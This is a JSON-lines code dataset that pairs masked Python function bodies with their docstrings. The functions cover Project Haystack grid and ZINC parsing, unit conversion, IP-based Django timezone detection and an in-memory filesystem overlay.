{"signature": "def __repr__(self): <EOL>", "body": "parts = [u'<STR_LIT>' % self.ver_str]<EOL>if bool(self.metadata):<EOL><INDENT>parts.append(u'<STR_LIT>' % self.metadata)<EOL><DEDENT>column_meta = []<EOL>for col, col_meta in self.column.items():<EOL><INDENT>if bool(col_meta):<EOL><INDENT>column_meta.append(u'<STR_LIT>' % (col, col_meta))<EOL><DEDENT>else:<EOL><INDENT>column_meta.append(u'<STR_LIT>' % col)<EOL><DEDENT><DEDENT>if bool(column_meta):<EOL><INDENT>parts.append(u'<STR_LIT>' % '<STR_LIT:\\n>'.join(column_meta))<EOL><DEDENT>elif len(self.column):<EOL><INDENT>parts.append(u'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(self.column.keys()))<EOL><DEDENT>else:<EOL><INDENT>parts.append(u'<STR_LIT>')<EOL><DEDENT>if bool(self):<EOL><INDENT>parts.extend([<EOL>u'<STR_LIT>' % (row, u'<STR_LIT>'.join([<EOL>((u'<STR_LIT>' % (col, data[col]))if col in data else(u'<STR_LIT>' % col)) for colin self.column.keys()]))<EOL>for (row, data) in enumerate(self)<EOL>])<EOL><DEDENT>else:<EOL><INDENT>parts.append(u'<STR_LIT>')<EOL><DEDENT>class_name = self.__class__.__name__<EOL>return u'<STR_LIT>' % (<EOL>class_name, u'<STR_LIT:\\n>'.join(parts), class_name<EOL>)<EOL>", "docstring": "Return a representation of this grid.", "id": "f3227:c0:m4"}
{"signature": "def __getitem__(self, index):", "body": "return self._row[index]<EOL>", "docstring": "Retrieve the row at index.", "id": "f3227:c0:m5"}
{"signature": "def __len__(self):", "body": "return len(self._row)<EOL>", "docstring": "Return the number of rows in the grid.", "id": "f3227:c0:m6"}
{"signature": "def __setitem__(self, index, value):", "body": "if not isinstance(value, dict):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for val in value.values():<EOL><INDENT>self._detect_or_validate(val)<EOL><DEDENT>self._row[index] = value<EOL>", "docstring": "Replace the row at index.", "id": "f3227:c0:m7"}
{"signature": "def __delitem__(self, index):", "body": "del self._row[index]<EOL>", "docstring": "Delete the row at index.", "id": "f3227:c0:m8"}
{"signature": "def insert(self, index, value):", "body": "if not isinstance(value, dict):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for val in value.values():<EOL><INDENT>self._detect_or_validate(val)<EOL><DEDENT>self._row.insert(index, value)<EOL>", "docstring": "Insert a new row before index.", "id": "f3227:c0:m9"}
{"signature": "def _detect_or_validate(self, val):", "body": "if isinstance(val, list)or isinstance(val, dict)or isinstance(val, SortableDict)or isinstance(val, Grid):<EOL><INDENT>self._assert_version(VER_3_0)<EOL><DEDENT>", "docstring": "Detect the version used from the row content, or validate against\nthe version if given.", "id": "f3227:c0:m10"}
{"signature": "def _assert_version(self, version):", "body": "if self.nearest_version < version:<EOL><INDENT>if self._version_given:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'% version)<EOL><DEDENT>else:<EOL><INDENT>self._version = version<EOL><DEDENT><DEDENT>", "docstring": "Assert that the grid version is equal to or above the given value.\nIf no version is set, set the version.", "id": "f3227:c0:m11"}
{"signature": "def dump(grids, mode=MODE_ZINC):", "body": "if isinstance(grids, Grid):<EOL><INDENT>return dump_grid(grids, mode=mode)<EOL><DEDENT>_dump = functools.partial(dump_grid, mode=mode)<EOL>if mode == MODE_ZINC:<EOL><INDENT>return '<STR_LIT:\\n>'.join(map(_dump, grids))<EOL><DEDENT>elif mode == MODE_JSON:<EOL><INDENT>return '<STR_LIT>' % '<STR_LIT:U+002C>'.join(map(_dump, grids))<EOL><DEDENT>else: <EOL><INDENT>raise NotImplementedError('<STR_LIT>' % mode)<EOL><DEDENT>", "docstring": "Dump the given grids in the specified over-the-wire format.", "id": "f3228:m0"}
{"signature": "def add_item(self, key, value, after=False, index=None, pos_key=None,<EOL>replace=True):", "body": "if self._validate_fn:<EOL><INDENT>self._validate_fn(value)<EOL><DEDENT>if (index is not None) and (pos_key is not None):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif pos_key is not None:<EOL><INDENT>try:<EOL><INDENT>index = self.index(pos_key)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise KeyError('<STR_LIT>' % pos_key)<EOL><DEDENT><DEDENT>if after and (index is not None):<EOL><INDENT>index += <NUM_LIT:1><EOL><DEDENT>if key in self._values:<EOL><INDENT>if not replace:<EOL><INDENT>raise KeyError('<STR_LIT>' % key)<EOL><DEDENT>if index is not None:<EOL><INDENT>del self[key]<EOL><DEDENT>else:<EOL><INDENT>self._values[key] = value<EOL>return<EOL><DEDENT><DEDENT>if index is not None:<EOL><INDENT>self._order.insert(index, key)<EOL><DEDENT>else:<EOL><INDENT>self._order.append(key)<EOL><DEDENT>self._values[key] = value<EOL>", "docstring": "Add an item at a specific location, possibly replacing the\nexisting item.\n\nIf after is True, we insert *after* the given index, otherwise we\ninsert before.\n\nThe position is specified using either index or pos_key, the former\nspecifies the position from the start of the array (base 0).  pos_key\nspecifies the name of another key, and positions the new key relative\nto that key.\n\nWhen replacing, the position will be left un-changed unless a location\nis specified explicitly.", "id": "f3230:c0:m7"}
{"signature": "def at(self, index):", "body": "return self._order[index]<EOL>", "docstring": "Return the key at the given index.", "id": "f3230:c0:m8"}
{"signature": "def value_at(self, index):", "body": "return self[self.at(index)]<EOL>", "docstring": "Return the value at the given index.", "id": "f3230:c0:m9"}
{"signature": "def pop_at(self, index):", "body": "return self.pop(self.at(index))<EOL>", "docstring": "Remove the key at the given index and return its value.", "id": "f3230:c0:m13"}
{"signature": "def _map_timezones():", "body": "tz_map = {}<EOL>todo = HAYSTACK_TIMEZONES_SET.copy()<EOL>for full_tz in pytz.all_timezones:<EOL><INDENT>if not bool(todo): <EOL><INDENT>break<EOL><DEDENT>if full_tz in todo:<EOL><INDENT>tz_map[full_tz] = full_tz   <EOL>todo.discard(full_tz)<EOL>continue<EOL><DEDENT>if '<STR_LIT:/>' not in full_tz:<EOL><INDENT>continue<EOL><DEDENT>(prefix, suffix) = full_tz.split('<STR_LIT:/>',<NUM_LIT:1>)<EOL>if '<STR_LIT:/>' in suffix:<EOL><INDENT>continue<EOL><DEDENT>if suffix in todo:<EOL><INDENT>tz_map[suffix] = full_tz<EOL>todo.discard(suffix)<EOL>continue<EOL><DEDENT><DEDENT>return tz_map<EOL>", "docstring": "Map the official Haystack timezone list to those recognised by pytz.", "id": "f3233:m0"}
{"signature": "def to_haystack(unit):", "body": "unit = str(unit)<EOL>global HAYSTACK_CONVERSION<EOL>global PINT_CONVERSION<EOL>if unit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>for pint_value, haystack_value in PINT_CONVERSION:<EOL><INDENT>unit = unit.replace(pint_value, haystack_value)<EOL><DEDENT>for haystack_value, pint_value in HAYSTACK_CONVERSION:<EOL><INDENT>if pint_value == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>unit = unit.replace(pint_value, haystack_value)<EOL><DEDENT>return unit<EOL>", "docstring": "Some parsing tweaks to fit pint units / handling of edge cases.", "id": "f3234:m0"}
{"signature": "def to_pint(unit):", "body": "global HAYSTACK_CONVERSION<EOL>if unit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == '<STR_LIT>' orunit == None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>for haystack_value, pint_value in HAYSTACK_CONVERSION:<EOL><INDENT>unit = unit.replace(haystack_value, pint_value)<EOL><DEDENT>return unit<EOL>", "docstring": "Some parsing tweaks to fit pint units / handling of edge cases.", "id": "f3234:m1"}
{"signature": "def define_haystack_units():", "body": "ureg = UnitRegistry()<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>ureg.define('<STR_LIT>')<EOL>return ureg<EOL>", "docstring": "Missing units found in project-haystack\nAdded to the registry", "id": "f3234:m2"}
{"signature": "def dump_grid(grid):", "body": "header = '<STR_LIT>' % dump_str(str(grid._version), version=grid._version)<EOL>if bool(grid.metadata):<EOL><INDENT>header += '<STR_LIT:U+0020>' + dump_meta(grid.metadata, version=grid._version)<EOL><DEDENT>columns = dump_columns(grid.column, version=grid._version)<EOL>rows = dump_rows(grid)<EOL>return '<STR_LIT:\\n>'.join([header, columns] + rows + ['<STR_LIT>'])<EOL>", "docstring": "Dump a single grid to its ZINC representation.", "id": "f3236:m2"}
{"signature": "def _unescape(s, uri=False):", "body": "out = '<STR_LIT>'<EOL>while len(s) > <NUM_LIT:0>:<EOL><INDENT>c = s[<NUM_LIT:0>]<EOL>if c == '<STR_LIT:\\\\>':<EOL><INDENT>esc_c = s[<NUM_LIT:1>]<EOL>if esc_c in ('<STR_LIT:u>', '<STR_LIT>'):<EOL><INDENT>out += six.unichr(int(s[<NUM_LIT:2>:<NUM_LIT:6>], base=<NUM_LIT:16>))<EOL>s = s[<NUM_LIT:6>:]<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>if esc_c == '<STR_LIT:b>':<EOL><INDENT>out += '<STR_LIT>'<EOL><DEDENT>elif esc_c == '<STR_LIT:f>':<EOL><INDENT>out += '<STR_LIT>'<EOL><DEDENT>elif esc_c == '<STR_LIT:n>':<EOL><INDENT>out += '<STR_LIT:\\n>'<EOL><DEDENT>elif esc_c == '<STR_LIT:r>':<EOL><INDENT>out += '<STR_LIT:\\r>'<EOL><DEDENT>elif esc_c == '<STR_LIT:t>':<EOL><INDENT>out += '<STR_LIT:\\t>'<EOL><DEDENT>else:<EOL><INDENT>if uri and (esc_c == '<STR_LIT:#>'):<EOL><INDENT>out += '<STR_LIT:\\\\>'<EOL><DEDENT>out += esc_c<EOL><DEDENT>s = s[<NUM_LIT:2>:]<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>out += c<EOL>s = s[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Iterative parser for string escapes.", "id": "f3237:m2"}
{"signature": "def parse_grid(grid_data):", "body": "try:<EOL><INDENT>grid_parts = NEWLINE_RE.split(grid_data)<EOL>if len(grid_parts) < <NUM_LIT:2>:<EOL><INDENT>raise ZincParseException('<STR_LIT>',<EOL>grid_data, <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>grid_meta_str = grid_parts.pop(<NUM_LIT:0>)<EOL>col_meta_str = grid_parts.pop(<NUM_LIT:0>)<EOL>ver_match = VERSION_RE.match(grid_meta_str)<EOL>if ver_match is None:<EOL><INDENT>raise ZincParseException(<EOL>'<STR_LIT>' % grid_meta_str,<EOL>grid_data, <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>version = Version(ver_match.group(<NUM_LIT:1>))<EOL>try:<EOL><INDENT>grid_meta = hs_gridMeta[version].parseString(grid_meta_str, parseAll=True)[<NUM_LIT:0>]<EOL><DEDENT>except pp.ParseException as pe:<EOL><INDENT>raise ZincParseException(<EOL>'<STR_LIT>' % pe,<EOL>grid_data, <NUM_LIT:1>, pe.col)<EOL><DEDENT>except: <EOL><INDENT>LOG.debug('<STR_LIT>', grid_meta_str)<EOL>raise<EOL><DEDENT>try:<EOL><INDENT>col_meta = hs_cols[version].parseString(col_meta_str, parseAll=True)[<NUM_LIT:0>]<EOL><DEDENT>except pp.ParseException as pe:<EOL><INDENT>raise ZincParseException(<EOL>'<STR_LIT>'% reformat_exception(pe, <NUM_LIT:2>),<EOL>grid_data, <NUM_LIT:2>, pe.col)<EOL><DEDENT>except: <EOL><INDENT>LOG.debug('<STR_LIT>', col_meta_str)<EOL>raise<EOL><DEDENT>row_grammar = hs_row[version]<EOL>def _parse_row(row_num_and_data):<EOL><INDENT>(row_num, row) = row_num_and_data<EOL>line_num = row_num + <NUM_LIT:3><EOL>try:<EOL><INDENT>return dict(zip(col_meta.keys(),<EOL>row_grammar.parseString(row, parseAll=True)[<NUM_LIT:0>].asList()))<EOL><DEDENT>except pp.ParseException as pe:<EOL><INDENT>raise ZincParseException(<EOL>'<STR_LIT>'% reformat_exception(pe, line_num),<EOL>grid_data, line_num, pe.col)<EOL><DEDENT>except: <EOL><INDENT>LOG.debug('<STR_LIT>', row)<EOL>raise<EOL><DEDENT><DEDENT>g = Grid(version=grid_meta.pop('<STR_LIT>'),<EOL>metadata=grid_meta,<EOL>columns=list(col_meta.items()))<EOL>g.extend(map(_parse_row, filter(lambda gp : bool(gp[<NUM_LIT:1>]), enumerate(grid_parts))))<EOL>return g<EOL><DEDENT>except:<EOL><INDENT>LOG.debug('<STR_LIT>', grid_data)<EOL>raise<EOL><DEDENT>", "docstring": "Parse the incoming grid.", "id": "f3237:m6"}
{"signature": "def parse_scalar(scalar_data, version):", "body": "try:<EOL><INDENT>return hs_scalar[version].parseString(scalar_data, parseAll=True)[<NUM_LIT:0>]<EOL><DEDENT>except pp.ParseException as pe:<EOL><INDENT>raise ZincParseException(<EOL>'<STR_LIT>' % reformat_exception(pe),<EOL>scalar_data, <NUM_LIT:1>, pe.col)<EOL><DEDENT>except:<EOL><INDENT>LOG.debug('<STR_LIT>',<EOL>scalar_data, version)<EOL><DEDENT>", "docstring": "Parse a Project Haystack scalar in ZINC format.", "id": "f3237:m7"}
{"signature": "def __getitem__(self, ver):", "body": "try:<EOL><INDENT>return self._known_grammars[ver]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>nearest = Version.nearest(ver)<EOL>g = self._known_grammars[nearest]<EOL>self._known_grammars[ver] = g<EOL>return g<EOL>", "docstring": "Retrieve the grammar that closest matches the version string given.", "id": "f3237:c1:m1"}
{"signature": "def append(self, key, value=MARKER, replace=True):", "body": "return self.add_item(key, value, replace=replace)<EOL>", "docstring": "Append the item to the metadata.", "id": "f3238:c0:m0"}
{"signature": "def extend(self, items, replace=True):", "body": "if isinstance(items, dict) or isinstance(items, SortableDict):<EOL><INDENT>items = list(items.items())<EOL><DEDENT>for (key, value) in items:<EOL><INDENT>self.append(key, value, replace=replace)<EOL><DEDENT>", "docstring": "Append the items to the metadata.", "id": "f3238:c0:m1"}
{"signature": "def with_tz(request):", "body": "dt = datetime.now() <EOL>t = Template('<STR_LIT>') <EOL>c = RequestContext(request)<EOL>response = t.render(c)<EOL>return HttpResponse(response)<EOL>", "docstring": "Get the time with TZ enabled", "id": "f3241:m0"}
{"signature": "def without_tz(request):", "body": "t = Template('<STR_LIT>') <EOL>c = RequestContext(request)<EOL>response = t.render(c)<EOL>return HttpResponse(response)<EOL>", "docstring": "Get the time without TZ enabled", "id": "f3241:m1"}
{"signature": "def process_request(self, request):", "body": "if not request:<EOL><INDENT>return<EOL><DEDENT>if not db_loaded:<EOL><INDENT>load_db()<EOL><DEDENT>tz = request.session.get('<STR_LIT>')<EOL>if not tz:<EOL><INDENT>tz = timezone.get_default_timezone()<EOL>client_ip = get_ip_address_from_request(request)<EOL>ip_addrs = client_ip.split('<STR_LIT:U+002C>')<EOL>for ip in ip_addrs:<EOL><INDENT>if is_valid_ip(ip) and not is_local_ip(ip):<EOL><INDENT>if '<STR_LIT::>' in ip:<EOL><INDENT>tz = db_v6.time_zone_by_addr(ip)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>tz = db.time_zone_by_addr(ip)<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if tz:<EOL><INDENT>timezone.activate(tz)<EOL>request.session['<STR_LIT>'] = str(tz)<EOL>if getattr(settings, '<STR_LIT>', None) and getattr(request, '<STR_LIT:user>', None):<EOL><INDENT>detected_timezone.send(sender=get_user_model(), instance=request.user, timezone=tz)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>timezone.deactivate()<EOL><DEDENT>", "docstring": "If we can get a valid IP from the request,\nlook up that address in the database to get the appropriate timezone\nand activate it.\n\nElse, use the default.", "id": "f3242:c0:m0"}
{"signature": "def is_valid_ip(ip_address):", "body": "try:<EOL><INDENT>ip = ipaddress.ip_address(u'<STR_LIT>' + ip_address)<EOL>return True<EOL><DEDENT>except ValueError as e:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check Validity of an IP address", "id": "f3244:m0"}
{"signature": "def is_local_ip(ip_address):", "body": "try:<EOL><INDENT>ip = ipaddress.ip_address(u'<STR_LIT>' + ip_address)<EOL>return ip.is_loopback<EOL><DEDENT>except ValueError as e:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Check if IP is local", "id": "f3244:m1"}
{"signature": "def get_ip_address_from_request(request):", "body": "PRIVATE_IPS_PREFIX = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>ip_address = '<STR_LIT>'<EOL>x_forwarded_for = request.META.get('<STR_LIT>', '<STR_LIT>')<EOL>if x_forwarded_for and '<STR_LIT:U+002C>' not in x_forwarded_for:<EOL><INDENT>if not x_forwarded_for.startswith(PRIVATE_IPS_PREFIX) and is_valid_ip(x_forwarded_for):<EOL><INDENT>ip_address = x_forwarded_for.strip()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ips = [ip.strip() for ip in x_forwarded_for.split('<STR_LIT:U+002C>')]<EOL>for ip in ips:<EOL><INDENT>if ip.startswith(PRIVATE_IPS_PREFIX):<EOL><INDENT>continue<EOL><DEDENT>elif not is_valid_ip(ip):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>ip_address = ip<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not ip_address:<EOL><INDENT>x_real_ip = request.META.get('<STR_LIT>', '<STR_LIT>')<EOL>if x_real_ip:<EOL><INDENT>if not x_real_ip.startswith(PRIVATE_IPS_PREFIX) and is_valid_ip(x_real_ip):<EOL><INDENT>ip_address = x_real_ip.strip()<EOL><DEDENT><DEDENT><DEDENT>if not ip_address:<EOL><INDENT>remote_addr = request.META.get('<STR_LIT>', '<STR_LIT>')<EOL>if remote_addr:<EOL><INDENT>if not remote_addr.startswith(PRIVATE_IPS_PREFIX) and is_valid_ip(remote_addr):<EOL><INDENT>ip_address = remote_addr.strip()<EOL><DEDENT><DEDENT><DEDENT>if not ip_address:<EOL><INDENT>ip_address = '<STR_LIT:127.0.0.1>'<EOL><DEDENT>return ip_address<EOL>", "docstring": "Makes the best attempt to get the client's real IP or return the loopback", "id": "f3244:m2"}
{"signature": "def __init__(self, install=False, passthru=None):", "body": "self.entries    = {}<EOL>self._installed = False<EOL>self.impostors  = dict()<EOL>self.originals  = dict()<EOL>self.vaporized  = None<EOL>self.fds        = dict()<EOL>self.passthru   = passthru or []<EOL>if self.passthru:<EOL><INDENT>if not morph.isseq(self.passthru):<EOL><INDENT>self.passthru = [self.passthru]<EOL><DEDENT>self.passthru = [re.compile(expr) if morph.isstr(expr) else expr<EOL>for expr in self.passthru]<EOL><DEDENT>self._makeImpostors()<EOL>if install:<EOL><INDENT>self.install()<EOL><DEDENT>", "docstring": ":Parameters:\n\ninstall : bool, optional, default: false\n\n  Flag indicating whether or not this overlay should be\n  installed upon instantiation.\n\npassthru : list({str, regex}), optional, default: none\n\n  A regular expression (or list thereof) that will be matched\n  against any file that is operated on; if it matches, no overlay\n  will be applied, i.e. this list excludes a set of files. The\n  specified regexes can be either strings or re.RegexObject\n  instances. Note that these regexes will be given only the\n  fully-dereferenced paths to be tested.", "id": "f3252:c4:m0"}
{"signature": "def _stat(self, path):", "body": "if path not in self.entries:<EOL><INDENT>return OverlayStat(*self.originals['<STR_LIT>'](path)[:<NUM_LIT:10>], st_overlay=<NUM_LIT:0>)<EOL><DEDENT>st = self.entries[path].stat<EOL>if stat.S_ISLNK(st.st_mode):<EOL><INDENT>return self._stat(self.deref(path))<EOL><DEDENT>return st<EOL>", "docstring": "IMPORTANT: expects `path`'s parent to already be deref()'erenced.", "id": "f3252:c4:m14"}
{"signature": "def _lstat(self, path):", "body": "if path not in self.entries:<EOL><INDENT>return OverlayStat(*self.originals['<STR_LIT>'](path)[:<NUM_LIT:10>], st_overlay=<NUM_LIT:0>)<EOL><DEDENT>return self.entries[path].stat<EOL>", "docstring": "IMPORTANT: expects `path`'s parent to already be deref()'erenced.", "id": "f3252:c4:m15"}
{"signature": "def fso_lstat(self, path):", "body": "return self.fso_anystat(path, link=True)<EOL>", "docstring": "overlays os.lstat()", "id": "f3252:c4:m17"}
{"signature": "def fso_stat(self, path):", "body": "return self.fso_anystat(path, link=False)<EOL>", "docstring": "overlays os.stat()", "id": "f3252:c4:m18"}
{"signature": "def _exists(self, path):", "body": "try:<EOL><INDENT>return bool(self._stat(path))<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "IMPORTANT: expects `path` to already be deref()'erenced.", "id": "f3252:c4:m19"}
{"signature": "def _lexists(self, path):", "body": "try:<EOL><INDENT>return bool(self._lstat(path))<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "IMPORTANT: expects `path` to already be deref()'erenced.", "id": "f3252:c4:m20"}
{"signature": "def fso_exists(self, path):", "body": "try:<EOL><INDENT>return self._exists(self.deref(path))<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "overlays os.path.exists()", "id": "f3252:c4:m21"}
{"signature": "def fso_lexists(self, path):", "body": "try:<EOL><INDENT>return self._lexists(self.deref(path, to_parent=True))<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "overlays os.path.lexists()", "id": "f3252:c4:m22"}
{"signature": "def fso_listdir(self, path):", "body": "path = self.deref(path)<EOL>if not stat.S_ISDIR(self._stat(path).st_mode):<EOL><INDENT>raise OSError(<NUM_LIT:20>, '<STR_LIT>', path)<EOL><DEDENT>try:<EOL><INDENT>ret = self.originals['<STR_LIT>'](path)<EOL><DEDENT>except Exception:<EOL><INDENT>ret = []<EOL><DEDENT>for entry in list(self.entries.values()):<EOL><INDENT>if not entry.path.startswith(path + '<STR_LIT:/>'):<EOL><INDENT>continue<EOL><DEDENT>subpath = entry.path[len(path) + <NUM_LIT:1>:]<EOL>if '<STR_LIT:/>' in subpath:<EOL><INDENT>continue<EOL><DEDENT>if entry.mode is None:<EOL><INDENT>if subpath in ret:<EOL><INDENT>ret.remove(subpath)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if subpath not in ret:<EOL><INDENT>ret.append(subpath)<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "overlays os.listdir()", "id": "f3252:c4:m24"}
{"signature": "def fso_mkdir(self, path, mode=None):", "body": "path = self.deref(path, to_parent=True)<EOL>if self._lexists(path):<EOL><INDENT>raise OSError(<NUM_LIT>, '<STR_LIT>', path)<EOL><DEDENT>self._addentry(OverlayEntry(self, path, stat.S_IFDIR))<EOL>", "docstring": "overlays os.mkdir()", "id": "f3252:c4:m25"}
{"signature": "def fso_makedirs(self, path, mode=None):", "body": "path = self.abs(path)<EOL>cur = '<STR_LIT:/>'<EOL>segments = path.split('<STR_LIT:/>')<EOL>for idx, seg in enumerate(segments):<EOL><INDENT>cur = os.path.join(cur, seg)<EOL>try:<EOL><INDENT>st = self.fso_stat(cur)<EOL><DEDENT>except OSError:<EOL><INDENT>st = None<EOL><DEDENT>if st is None:<EOL><INDENT>self.fso_mkdir(cur)<EOL>continue<EOL><DEDENT>if idx + <NUM_LIT:1> == len(segments):<EOL><INDENT>raise OSError(<NUM_LIT>, '<STR_LIT>', path)<EOL><DEDENT>if not stat.S_ISDIR(st.st_mode):<EOL><INDENT>raise OSError(<NUM_LIT:20>, '<STR_LIT>', path)<EOL><DEDENT><DEDENT>", "docstring": "overlays os.makedirs()", "id": "f3252:c4:m26"}
{"signature": "def fso_rmdir(self, path):", "body": "st = self.fso_lstat(path)<EOL>if not stat.S_ISDIR(st.st_mode):<EOL><INDENT>raise OSError(<NUM_LIT:20>, '<STR_LIT>', path)<EOL><DEDENT>if len(self.fso_listdir(path)) > <NUM_LIT:0>:<EOL><INDENT>raise OSError(<NUM_LIT>, '<STR_LIT>', path)<EOL><DEDENT>self._addentry(OverlayEntry(self, path, None))<EOL>", "docstring": "overlays os.rmdir()", "id": "f3252:c4:m27"}
{"signature": "def fso_readlink(self, path):", "body": "path = self.deref(path, to_parent=True)<EOL>st = self.fso_lstat(path)<EOL>if not stat.S_ISLNK(st.st_mode):<EOL><INDENT>raise OSError(<NUM_LIT>, '<STR_LIT>', path)<EOL><DEDENT>if st.st_overlay:<EOL><INDENT>return self.entries[path].content<EOL><DEDENT>return self.originals['<STR_LIT>'](path)<EOL>", "docstring": "overlays os.readlink()", "id": "f3252:c4:m28"}
{"signature": "def fso_symlink(self, source, link_name):", "body": "path = self.deref(link_name, to_parent=True)<EOL>if self._exists(path):<EOL><INDENT>raise OSError(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>self._addentry(OverlayEntry(self, path, stat.S_IFLNK, source))<EOL>", "docstring": "overlays os.symlink()", "id": "f3252:c4:m29"}
{"signature": "def fso_unlink(self, path):", "body": "path = self.deref(path, to_parent=True)<EOL>if not self._lexists(path):<EOL><INDENT>raise OSError(<NUM_LIT:2>, '<STR_LIT>', path)<EOL><DEDENT>self._addentry(OverlayEntry(self, path, None))<EOL>", "docstring": "overlays os.unlink()", "id": "f3252:c4:m30"}
{"signature": "def fso_remove(self, path):", "body": "return self.fso_unlink(path)<EOL>", "docstring": "overlays os.remove()", "id": "f3252:c4:m31"}
{"signature": "def fso_islink(self, path):", "body": "try:<EOL><INDENT>return stat.S_ISLNK(self.fso_lstat(path).st_mode)<EOL><DEDENT>except OSError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "overlays os.path.islink()", "id": "f3252:c4:m32"}
{"signature": "def fso_rmtree(self, path, ignore_errors=False, onerror=None):", "body": "if ignore_errors:<EOL><INDENT>def onerror(*args):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif onerror is None:<EOL><INDENT>def onerror(*args):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if self.fso_islink(path):<EOL><INDENT>raise OSError('<STR_LIT>')<EOL><DEDENT><DEDENT>except OSError:<EOL><INDENT>onerror(os.path.islink, path, sys.exc_info())<EOL>return<EOL><DEDENT>names = []<EOL>try:<EOL><INDENT>names = self.fso_listdir(path)<EOL><DEDENT>except os.error as err:<EOL><INDENT>onerror(os.listdir, path, sys.exc_info())<EOL><DEDENT>for name in names:<EOL><INDENT>fullname = os.path.join(path, name)<EOL>try:<EOL><INDENT>mode = self.fso_lstat(fullname).st_mode<EOL><DEDENT>except os.error:<EOL><INDENT>mode = <NUM_LIT:0><EOL><DEDENT>if stat.S_ISDIR(mode):<EOL><INDENT>self.fso_rmtree(fullname, ignore_errors, onerror)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>self.fso_remove(fullname)<EOL><DEDENT>except OSError as err:<EOL><INDENT>onerror(os.remove, fullname, sys.exc_info())<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>self.fso_rmdir(path)<EOL><DEDENT>except os.error:<EOL><INDENT>onerror(os.rmdir, path, sys.exc_info())<EOL><DEDENT>", "docstring": "overlays shutil.rmtree()", "id": "f3252:c4:m33"}
{"signature": "def no_ansi(text):", "body": "return re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", text)<EOL>", "docstring": "Kill any ANSI escape sequences.", "id": "f3261:m0"}
{"signature": "def assert_sets_equal(s1, s2):", "body": "assert list(sorted(s1)) == list(sorted(s2))<EOL>", "docstring": "Helper to compare sets.", "id": "f3270:m1"}
